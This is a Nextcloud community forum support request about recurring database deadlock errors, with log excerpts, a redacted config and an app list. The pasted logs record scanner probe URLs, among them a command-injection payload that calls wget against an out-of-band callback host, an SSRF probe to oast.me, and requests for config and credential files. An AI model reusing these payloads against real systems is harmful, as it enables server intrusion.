Support intro
Sorry to hear you’re facing problems. 
The community help forum (help.nextcloud.com) is for home and non-enterprise users. Support is provided by other community members on a best effort / “as available” basis. All of those responding are volunteering their time to help you.
If you’re using Nextcloud in a business/critical setting, paid and SLA-based support services can be accessed via portal.nextcloud.com where Nextcloud engineers can help ensure your business keeps running smoothly.
Getting help
In order to help you as efficiently (and quickly!) as possible, please fill in as much of the below requested information as you can.
Before clicking submit: Please check if your query is already addressed via the following resources:
- Official documentation (searchable and regularly updated)
- How to topics and FAQs
- Forum search
(Utilizing these existing resources is typically faster. It also helps reduce the load on our generous volunteers while elevating the signal to noise ratio of the forums otherwise arising from the same queries being posted repeatedly).
Some or all of the below information will be requested if it isn’t supplied; for fastest response please provide as much as you can. ![]()
The Basics
- Nextcloud Server version (e.g., 29.x.x):
33.0.6
- Operating system and version (e.g., Ubuntu 24.04):
Ubuntu 24.04.4 LTS
- Web server and version (e.g, Apache 2.4.25):
Apache2 2.4.58
- Reverse proxy and version _(e.g. nginx 1.27.2)
no reverse proxy
- PHP version (e.g, 8.3):
8.4
- Is this the first time you’ve seen this error? (Yes / No):
Yes
- When did this problem seem to first start?
after migrating to a vserver environment
- Installation method (e.g. AlO, NCP, Bare Metal/Archive, etc.)
Nextcloud Image from Hetzner
- Are you using CloudfIare, mod_security, or similar? (Yes / No)
No
Summary of the issue you are facing:
The log is flooded nearly daily with several same log entries:
OC\DB\Exceptions\DbalException: An exception occurred while executing a query: SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction at /var/www/html/lib/private/DB/Exceptions/DbalException.php#56
Log entries
Nextcloud
Please provide the log entries from your Nextcloud log that are generated during the time of problem (via the Copy raw option from Administration settings->Logging screen or from your nextcloud.log located in your data directory). Feel free to use a pastebin/gist service if necessary.
{"reqId":"2xJpNJuUM7VLr1ecZ8Jg","level":3,"time":"2026-07-12T07:40:17+00:00","remoteAddr":"129.212.209.244","user":"--","app":"PHP","method":"GET","url":"/wp-content/plugins/ml-slider/readme.txt","scriptName":"/index.php","message":"OC\\DB\\Exceptions\\DbalException: An exception occurred while executing a query: SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction at /var/www/html/lib/private/DB/Exceptions/DbalException.php#56","userAgent":"Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36","version":"33.0.6.2","data":{"app":"PHP"}}
{"reqId":"Lu0ZdosRSzKoGpm88icj","level":3,"time":"2026-07-12T07:40:18+00:00","remoteAddr":"129.212.209.244","user":"--","app":"PHP","method":"GET","url":"/manager/html","scriptName":"/index.php","message":"OC\\DB\\Exceptions\\DbalException: An exception occurred while executing a query: SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction at /var/www/html/lib/private/DB/Exceptions/DbalException.php#56","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0","version":"33.0.6.2","data":{"app":"PHP"}}
{"reqId":"APJOXi0qFkflAGtKSMaX","level":3,"time":"2026-07-12T07:40:20+00:00","remoteAddr":"129.212.209.244","user":"--","app":"PHP","method":"GET","url":"/realms/master/protocol/openid-connect/auth?client_id=account&redirect_uri=http://[::]:80@oast.me","scriptName":"/index.php","message":"OC\\DB\\Exceptions\\DbalException: An exception occurred while executing a query: SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction at /var/www/html/lib/private/DB/Exceptions/DbalException.php#56","userAgent":"Mozilla/5.0 (SS; Linux i686; rv:128.0) Gecko/20100101 Firefox/128.0","version":"33.0.6.2","data":{"app":"PHP"}}
{"reqId":"7aUNOeRqbUX6hBjQWrYo","level":3,"time":"2026-07-12T07:40:23+00:00","remoteAddr":"129.212.209.244","user":"--","app":"PHP","method":"GET","url":"/CertEnroll/","scriptName":"/index.php","message":"OC\\DB\\Exceptions\\DbalException: An exception occurred while executing a query: SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction at /var/www/html/lib/private/DB/Exceptions/DbalException.php#56","userAgent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15","version":"33.0.6.2","data":{"app":"PHP"}}
{"reqId":"fZtALU0QfjQ29woRXFVO","level":3,"time":"2026-07-12T07:40:28+00:00","remoteAddr":"129.212.209.244","user":"--","app":"PHP","method":"GET","url":"/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o&ylabel&xrange=10:10&yrange=[33:system(%27wget%20http://d99k9kq6sujh3429r91ginbukrnqtdnkf.oast.fun%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json","scriptName":"/index.php","message":"OC\\DB\\Exceptions\\DbalException: An exception occurred while executing a query: SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction at /var/www/html/lib/private/DB/Exceptions/DbalException.php#56","userAgent":"Mozilla/5.0 (Ubuntu; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0","version":"33.0.6.2","data":{"app":"PHP"}}
{"reqId":"xbWBDoGskV8IAlaARlL9","level":3,"time":"2026-07-12T07:40:30+00:00","remoteAddr":"129.212.209.244","user":"--","app":"PHP","method":"GET","url":"/admin_access.txt","scriptName":"/index.php","message":"OC\\DB\\Exceptions\\DbalException: An exception occurred while executing a query: SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction at /var/www/html/lib/private/DB/Exceptions/DbalException.php#56","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36","version":"33.0.6.2","data":{"app":"PHP"}}
{"reqId":"KRjIy1relmxoFM3o75RX","level":3,"time":"2026-07-12T07:40:33+00:00","remoteAddr":"129.212.209.244","user":"--","app":"PHP","method":"GET","url":"/PMUser/","scriptName":"/index.php","message":"OC\\DB\\Exceptions\\DbalException: An exception occurred while executing a query: SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction at /var/www/html/lib/private/DB/Exceptions/DbalException.php#56","userAgent":"Mozilla/5.0 (Macintosh Intel Mac OS X 10.15 rv:91.0) Gecko/20100101 Firefox/91.0;","version":"33.0.6.2","data":{"app":"PHP"}}
{"reqId":"Az8dFK55aWpcjZl7kDMF","level":3,"time":"2026-07-12T07:40:34+00:00","remoteAddr":"129.212.209.244","user":"--","app":"PHP","method":"GET","url":"/mysql_config.ini","scriptName":"/index.php","message":"OC\\DB\\Exceptions\\DbalException: An exception occurred while executing a query: SQLSTATE[40001]: Serialization failure: 1213 Deadlock found when trying to get lock; try restarting transaction at /var/www/html/lib/private/DB/Exceptions/DbalException.php#56","userAgent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36","version":"33.0.6.2","data":{"app":"PHP"}}
Web Browser
If the problem is related to the Web interface, open your browser inspector Console and Network tabs while refreshing (reloading) and reproducing the problem. Provide any relevant output/errors here that appear.
PASTE
Web server / Reverse Proxy
The output of your Apache/nginx/system log in /var/log/____:
PASTE HERE
Configuration
Nextcloud
The output of occ config:list system or similar is best, but, if not possible, the contents of your config.php file from /path/to/nextcloud is fine (make sure to remove any identifiable information!):
{
"system": {
"instanceid": "***REMOVED SENSITIVE VALUE***",
"passwordsalt": "***REMOVED SENSITIVE VALUE***",
"secret": "***REMOVED SENSITIVE VALUE***",
"trusted_domains": [
"mydomain.com",
],
"maintenance_window_start": "1",
"datadirectory": "***REMOVED SENSITIVE VALUE***",
"dbtype": "mysql",
"version": "33.0.6.2",
"overwrite.cli.url": "https:\/\/mydomain.com",
"dbname": "***REMOVED SENSITIVE VALUE***",
"dbhost": "***REMOVED SENSITIVE VALUE***",
"dbport": "",
"dbtableprefix": "",
"mysql.utf8mb4": true,
"dbuser": "***REMOVED SENSITIVE VALUE***",
"dbpassword": "***REMOVED SENSITIVE VALUE***",
"installed": true,
"tempdirectory": "\/var\/www\/html\/data\/tmp",
"mail_smtpmode": "smtp",
"mail_sendmailmode": "pipe",
"mail_from_address": "***REMOVED SENSITIVE VALUE***",
"mail_domain": "***REMOVED SENSITIVE VALUE***",
"default_phone_region": "DE",
"maintenance": false,
"theme": "",
"loglevel": 3,
"mail_smtphost": "***REMOVED SENSITIVE VALUE***",
"mail_smtpport": "587",
"mail_smtpauth": true,
"mail_smtpname": "***REMOVED SENSITIVE VALUE***",
"mail_smtppassword": "***REMOVED SENSITIVE VALUE***",
"serverid": 1,
"log_rotate_size": 104857600,
"app_install_overwrite": [],
"mail_smtpstreamoptions": {
"ssl": {
"allow_self_signed": false,
"verify_peer": true,
"verify_peer_name": true
}
}
}
}
Apps
The output of occ app:list (if possible).
Enabled:
- activity: 6.0.0
- bookmarks: 16.2.2
- bruteforcesettings: 6.0.0
- calendar: 6.5.0
- circles: 33.0.0
- cloud_federation_api: 1.17.0
- comments: 1.23.0
- contacts: 8.7.3
- contactsinteraction: 1.14.1
- cookbook: 0.11.8
- dashboard: 7.13.0
- dav: 1.36.0
- deck: 1.17.4
- drawio: 4.2.5
- federatedfilesharing: 1.23.0
- federation: 1.23.0
- files: 2.5.0
- files_downloadlimit: 5.1.0
- files_pdfviewer: 6.0.0
- files_reminders: 1.6.0
- files_sharing: 1.25.2
- files_trashbin: 1.23.0
- files_versions: 1.26.0
- firstrunwizard: 6.0.0
- logreader: 6.0.0
- lookup_server_connector: 1.21.0
- notes: 6.0.1
- notifications: 6.0.0
- oauth2: 1.21.0
- password_policy: 5.0.0
- photos: 6.0.0
- profile: 1.2.0
- provisioning_api: 1.23.0
- recommendations: 6.0.0
- related_resources: 4.0.0
- settings: 1.16.0
- sharebymail: 1.23.0
- systemtags: 1.23.0
- tasks: 0.18.1
- text: 7.0.1
- theming: 2.8.0
- twofactor_backupcodes: 1.22.0
- twofactor_totp: 15.0.0
- updatenotification: 1.23.0
- user_migration: 10.4.0
- user_status: 1.13.0
- viewer: 6.0.0
- weather_status: 1.13.0
- webhook_listeners: 1.5.0
- whiteboard: 1.5.9
- workflowengine: 2.15.0
Disabled:
- admin_audit: 1.23.0
- app_api: 33.0.0 (installed 32.0.0)
- encryption: 2.21.0
- files_external: 1.25.1
- files_rightclick: 0.15.1 (installed 1.6.0)
- nextcloud_announcements: 5.0.0 (installed 4.0.0)
- polls: 9.1.4 (installed 9.1.4)
- privacy: 5.0.0 (installed 4.0.0)
- quota_warning: 1.24.0 (installed 1.24.0)
- richdocuments: 10.2.1 (installed 10.2.1)
- richdocumentscode: 26.4.104 (installed 26.4.104)
- serverinfo: 5.0.0 (installed 4.0.0)
- support: 5.0.0 (installed 4.0.0)
- survey_client: 5.0.0 (installed 4.0.0)
- suspicious_login: 11.0.0 (installed 7.0.0)
- twofactor_nextcloud_notification: 7.0.0
- user_ldap: 1.24.0
Tips for increasing the likelihood of a response
- Use the
preformatted textformatting option in the editor for all log entries and configuration output. - If screenshots are useful, feel free to include them.
- If possible, also include key error output in text form so it can be searched for.
- Try to edit log output only minimally (if at all) so that it can be ran through analyzers / formatters by those trying to help you.